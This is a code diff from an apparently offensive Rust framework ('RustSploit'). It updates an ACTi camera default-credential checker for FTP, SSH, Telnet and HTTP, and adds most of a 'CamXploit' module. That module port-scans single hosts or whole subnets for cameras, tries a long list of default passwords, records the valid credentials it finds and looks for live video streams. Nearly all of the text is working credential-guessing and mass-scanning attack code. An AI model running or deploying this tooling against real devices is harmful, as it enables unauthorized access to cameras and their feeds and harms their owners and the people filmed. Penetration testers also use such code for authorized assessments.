println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Module Information ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!(" {:<16} {}", "Path:".bold(), module_path);
|
||||
println!(" {:<16} {}", "Name:".bold(), info.name);
|
||||
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
|
||||
if let Some(ref date) = info.disclosure_date {
|
||||
println!(" {:<16} {}", "Disclosed:".bold(), date);
|
||||
}
|
||||
println!();
|
||||
println!(" {}", "Description:".bold());
|
||||
for line in info.description.lines() {
|
||||
println!(" {}", line);
|
||||
}
|
||||
println!();
|
||||
if !info.authors.is_empty() {
|
||||
println!(" {}", "Authors:".bold());
|
||||
for author in &info.authors {
|
||||
println!(" - {}", author);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
if !info.references.is_empty() {
|
||||
println!(" {}", "References:".bold());
|
||||
for reference in &info.references {
|
||||
println!(" - {}", reference);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,26 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use reqwest::Client;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use std::time::Duration;
|
||||
use tokio::{join, task};
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::utils::url_encode;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
@@ -17,6 +28,17 @@ pub enum ServiceType {
|
||||
Http,
|
||||
}
|
||||
|
||||
impl ServiceType {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ServiceType::Ftp => "FTP",
|
||||
ServiceType::Ssh => "SSH",
|
||||
ServiceType::Telnet => "Telnet",
|
||||
ServiceType::Http => "HTTP",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
@@ -38,68 +60,90 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
crate::mprintln!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
let tcp_stream = match crate::utils::network::tcp_connect_str(&address, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %config.target, port = config.port, user = %username, "TCP connect failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
match AsyncFtpStream::connect_with_stream(tcp_stream).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
crate::mprintln!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
if let Err(e) = ftp.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
return Ok(result);
|
||||
}
|
||||
// If false, continue checking but still return first found (for consistency)
|
||||
return Ok(result);
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
if let Err(e) = ftp.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %config.target, port = config.port, user = %username, "FTP login attempt failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
crate::mprintln!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
crate::mprintln!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let socket_addr: std::net::SocketAddr = match address.parse() {
|
||||
Ok(sa) => sa,
|
||||
Err(e) => {
|
||||
tracing::debug!(addr = %address, "SSH target parse failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
// libssh2 needs a blocking std stream — blocking_tcp_connect honors
|
||||
// `setg src_port` which the raw connect_timeout silently skipped.
|
||||
if let Ok(stream) = crate::utils::network::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
crate::mprintln!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
crate::mprintln!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -110,43 +154,60 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
let host = parts[1];
|
||||
let port: u16 = parts[0].parse().unwrap_or(23);
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
let socket_addr: std::net::SocketAddr = match format!("{}:{}", host, port).parse() {
|
||||
Ok(sa) => sa,
|
||||
Err(e) => {
|
||||
tracing::debug!(addr = %address, "Telnet target parse failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
if let Ok(tcp_stream) = crate::utils::network::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut telnet = Telnet::from_stream(Box::new(tcp_stream), 500);
|
||||
if let Err(e) = telnet.write(format!("{}\r\n", username).as_bytes()) { eprintln!("[!] Write failed: {}", e); }
|
||||
if let Err(e) = telnet.write(format!("{}\r\n", password).as_bytes()) { eprintln!("[!] Write failed: {}", e); }
|
||||
|
||||
// Give device time to respond
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
// Explicit failure indicators -> auth failed
|
||||
if response.contains("incorrect") || response.contains("failed") {
|
||||
continue;
|
||||
}
|
||||
// Require a positive indicator of a successful login:
|
||||
// shell prompts ($, #, >, ~) or welcome/session messages.
|
||||
let has_shell_prompt = response.contains('$')
|
||||
|| response.contains('#')
|
||||
|| response.contains('>')
|
||||
|| response.contains('~');
|
||||
let has_welcome = response.contains("Welcome")
|
||||
|| response.contains("Last login");
|
||||
if has_shell_prompt || has_welcome {
|
||||
crate::mprintln!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
// Otherwise the response is inconclusive (e.g. empty,
|
||||
// connection-closed, re-prompt of "login:") -> treat as failed.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
crate::mprintln!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
crate::mprintln!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -156,29 +217,74 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
let res = client
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
for (key, val) in &data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
|
||||
// Treat a transient request failure as a retryable/transport error: skip
|
||||
// this credential and continue, mirroring the FTP/SSH/Telnet loops above
|
||||
// instead of `?`-aborting the whole HTTP service check.
|
||||
let res = match client
|
||||
.post(&url)
|
||||
.form(&data)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
{
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %config.target, port = config.port, user = %username, "HTTP form request failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
let status = res.status();
|
||||
|
||||
// A failed body read is a transport error, NOT evidence of valid creds.
|
||||
// Previously this was mapped to an empty String, which trivially does not
|
||||
// contain the login-form marker and was misreported as a successful login.
|
||||
let body = match crate::utils::network::read_http_body_text_capped(res, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(t) => t,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %config.target, port = config.port, user = %username, "HTTP form response body read failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// Require a POSITIVE success signal rather than inferring success from the
|
||||
// mere absence of the ">Password<" login-form token:
|
||||
// - HTTP status must indicate success/redirect (200 / 3xx login-redirect)
|
||||
// - the login form must NO LONGER be presented (no LOGIN_PASSWORD field
|
||||
// and no ">Password<" prompt — both are present on the re-served form)
|
||||
let still_login_form =
|
||||
body.contains(">Password<") || body.contains("LOGIN_PASSWORD");
|
||||
if (status.is_success() || status.is_redirection()) && !still_login_form && !body.is_empty() {
|
||||
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
crate::mprintln!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("acti_camera_default requires a single-host target")?;
|
||||
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
ctx.rate_limit(target).await;
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
@@ -210,10 +316,70 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
// Collect all successful results
|
||||
let mut found_credentials = Vec::new();
|
||||
|
||||
if let Ok(Some((service, user, pass))) = ftp_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = ssh_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = telnet_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = http_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
// Print summary and store credentials
|
||||
if !found_credentials.is_empty() {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
crate::mprintln!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
let (svc_port, svc_name) = match service.as_str() {
|
||||
"FTP" => (21u16, "ftp"),
|
||||
"SSH" => (22, "ssh"),
|
||||
"Telnet" => (23, "telnet"),
|
||||
"HTTP" => (80, "http"),
|
||||
_ => (0, "unknown"),
|
||||
};
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: target, port: svc_port, service: svc_name, username: user, secret: pass,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/camera/acti/acti_camera_default",
|
||||
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("ACTi default credentials valid {}:{} on {} ({}:{})", user, pass, svc_name, target, svc_port),
|
||||
data: Some(serde_json::json!({
|
||||
"service": svc_name,
|
||||
"port": svc_port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
})),
|
||||
});
|
||||
}
|
||||
} else {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ACTi Camera Default Credentials".to_string(),
|
||||
description: "Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "camera/acti/acti_camera_default", native);
|
||||
|
||||
@@ -0,0 +1,868 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use base64::prelude::*;
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::utils::{is_subnet_target, parse_subnet, subnet_host_count};
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// =================================================================================
|
||||
// CONSTANTS & DATA
|
||||
// =================================================================================
|
||||
|
||||
const PORT_SCAN_TIMEOUT: u64 = 2;
|
||||
const TIMEOUT: u64 = 5;
|
||||
|
||||
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
|
||||
// are not cameras and should be skipped in mass scan mode
|
||||
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
|
||||
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
// Standard web ports
|
||||
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
|
||||
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
|
||||
// RTSP ports
|
||||
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
|
||||
// RTMP ports
|
||||
1935, 1936, 1937, 1938, 1939,
|
||||
// Custom camera ports
|
||||
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
|
||||
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
|
||||
// ONVIF ports
|
||||
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
|
||||
// VLC streaming ports
|
||||
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
|
||||
// Common alternative ports
|
||||
110, 143, 993, 995,
|
||||
1024, 1025, 1026, 1027, 1028, 1029, 1030,
|
||||
2000, 2001, 2002, 2003, 2004, 2005,
|
||||
3000, 3001, 3002, 3003, 3004, 3005,
|
||||
4000, 4001, 4002, 4003, 4004, 4005,
|
||||
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
|
||||
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
|
||||
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
|
||||
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
|
||||
// Additional common ports
|
||||
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
|
||||
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
|
||||
// MMS ports
|
||||
1755, 1756, 1757, 1758, 1759, 1760,
|
||||
// High ports
|
||||
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
|
||||
];
|
||||
|
||||
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
|
||||
|
||||
const COMMON_PATHS: &[&str] = &[
|
||||
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
|
||||
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
|
||||
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
|
||||
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
|
||||
];
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", "1234567"),
|
||||
("admin", "12345678"),
|
||||
("admin", "123456789"),
|
||||
("admin", "admin123"),
|
||||
("admin", "admin1234"),
|
||||
("admin", "admin12345"),
|
||||
("admin", "password"),
|
||||
("admin", "pass"),
|
||||
("admin", "123"),
|
||||
("admin", "1111"),
|
||||
("admin", "0000"),
|
||||
("admin", "8888"),
|
||||
("admin", "default"),
|
||||
("admin", "admin@123"),
|
||||
("admin", "Admin123"),
|
||||
("admin", "Admin1234"),
|
||||
("admin", "888888"),
|
||||
("admin", "666666"),
|
||||
("admin", "4321"),
|
||||
("admin", "9999"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "toor"),
|
||||
("root", "1234"),
|
||||
("root", "12345"),
|
||||
("root", "123456"),
|
||||
("root", "pass"),
|
||||
("root", "password"),
|
||||
("root", "root123"),
|
||||
("root", "admin"),
|
||||
("root", "1111"),
|
||||
("root", "0000"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "user123"),
|
||||
("user", "password"),
|
||||
("user", "1234"),
|
||||
("user", "12345"),
|
||||
("user", "123456"),
|
||||
("user", ""),
|
||||
("guest", "guest"),
|
||||
("guest", "guest123"),
|
||||
("guest", "1234"),
|
||||
("guest", "12345"),
|
||||
("guest", "123456"),
|
||||
("guest", ""),
|
||||
("operator", "operator"),
|
||||
("operator", "operator123"),
|
||||
("operator", "1234"),
|
||||
("operator", "12345"),
|
||||
("administrator", "administrator"),
|
||||
("administrator", "admin"),
|
||||
("administrator", "1234"),
|
||||
("administrator", "12345"),
|
||||
("administrator", "123456"),
|
||||
("administrator", "password"),
|
||||
("supervisor", "supervisor"),
|
||||
("supervisor", "1234"),
|
||||
("supervisor", "12345"),
|
||||
("supervisor", "123456"),
|
||||
("supervisor", "password"),
|
||||
("support", "support"),
|
||||
("support", "support123"),
|
||||
("support", "1234"),
|
||||
("support", "password"),
|
||||
("system", "system"),
|
||||
("system", "system123"),
|
||||
("system", "1234"),
|
||||
("system", "12345"),
|
||||
("system", "123456"),
|
||||
("viewer", "viewer"),
|
||||
("viewer", "viewer123"),
|
||||
("viewer", "1234"),
|
||||
("viewer", "12345"),
|
||||
("admin1", "admin"),
|
||||
("admin1", "admin1"),
|
||||
("admin1", "1234"),
|
||||
("admin1", "12345"),
|
||||
("admin1", "123456"),
|
||||
("admin1", "password"),
|
||||
("888888", "888888"),
|
||||
("888888", "123456"),
|
||||
("888888", "000000"),
|
||||
("666666", "666666"),
|
||||
("666666", "123456"),
|
||||
("666666", "000000"),
|
||||
("", "admin"),
|
||||
("", "12345"),
|
||||
("", "123456"),
|
||||
];
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("camxploit requires a single-host target")?;
|
||||
if crate::utils::get_global_source_port().await.is_some() {
|
||||
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
|
||||
}
|
||||
let target = target.trim().to_string();
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
// Subnet handling — iterate over each IP in the CIDR
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
let count = subnet_host_count(&network);
|
||||
crate::mprintln!("{}", format!("[*] Subnet {} — {} hosts to scan sequentially", target, count).cyan());
|
||||
for ip in network.iter() {
|
||||
if ctx.is_cancelled() { break; }
|
||||
let ip_str = ip.to_string();
|
||||
crate::mprintln!("\n{}", format!("[*] >>> Scanning host: {}", ip_str).cyan().bold());
|
||||
if let Err(e) = scan_host(ctx, &ip_str, &mut outcome).await {
|
||||
crate::mprintln!("{}", format!("[!] Error on {}: {}", ip_str, e).yellow());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("\n{}", "[*] Subnet scan complete.".green().bold());
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
scan_host(ctx, &target, &mut outcome).await?;
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
async fn scan_host(ctx: &ModuleCtx, target: &str, outcome: &mut ModuleOutcome) -> Result<()> {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// 1. Port Scan
|
||||
crate::mprintln!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
|
||||
ctx.rate_limit(target).await;
|
||||
let (open_ports, rtsp_ports) = check_ports(target).await;
|
||||
|
||||
if open_ports.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No open camera ports found.".red());
|
||||
crate::mprintln!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
for &port in &open_ports {
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::OpenPort,
|
||||
message: format!("Open port {}/tcp on {}", port, target),
|
||||
data: Some(serde_json::json!({"port": port, "protocol": "tcp"})),
|
||||
});
|
||||
}
|
||||
|
||||
// Skip hosts whose only open ports are general-purpose services (SSH/Telnet/RDP);
|
||||
// they are not cameras and waste fingerprinting work.
|
||||
if is_only_ignored_services(&open_ports) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Only non-camera services open ({:?}); skipping.", open_ports).yellow()
|
||||
);
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
|
||||
|
||||
// 2. Camera Detection & Fingerprinting
|
||||
let client = create_client()?;
|
||||
ctx.rate_limit(target).await;
|
||||
let is_camera = check_if_camera(target, &open_ports, &client).await;
|
||||
|
||||
if !is_camera {
|
||||
crate::mprintln!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
|
||||
crate::mprintln!("{}", "[*] Proceeding with additional checks...".cyan());
|
||||
}
|
||||
|
||||
ctx.rate_limit(target).await;
|
||||
check_login_pages(target, &open_ports, &client, outcome).await;
|
||||
ctx.rate_limit(target).await;
|
||||
fingerprint_camera(target, &open_ports, &client, outcome).await;
|
||||
|
||||
// 3. Credential Testing
|
||||
ctx.rate_limit(target).await;
|
||||
test_default_passwords(ctx, target, &open_ports, &rtsp_ports, &client, outcome).await;
|
||||
|
||||
// 4. Stream Detection
|
||||
ctx.rate_limit(target).await;
|
||||
detect_live_streams(target, &open_ports, &rtsp_ports, &client, outcome).await;
|
||||
|
||||
// 5. Additional Information
|
||||
|
||||
|
||||
crate::mprintln!("{}", "\n[✅] Scan Completed!".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln_block!(
|
||||
format!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold()),
|
||||
format!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold()),
|
||||
format!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold()),
|
||||
format!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold()),
|
||||
format!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold())
|
||||
);
|
||||
}
|
||||
|
||||
fn create_client() -> Result<Client> {
|
||||
Client::builder()
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.timeout(Duration::from_secs(TIMEOUT))
|
||||
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
||||
.build()
|
||||
.map_err(|e| anyhow::anyhow!(e))
|
||||
}
|
||||
|
||||
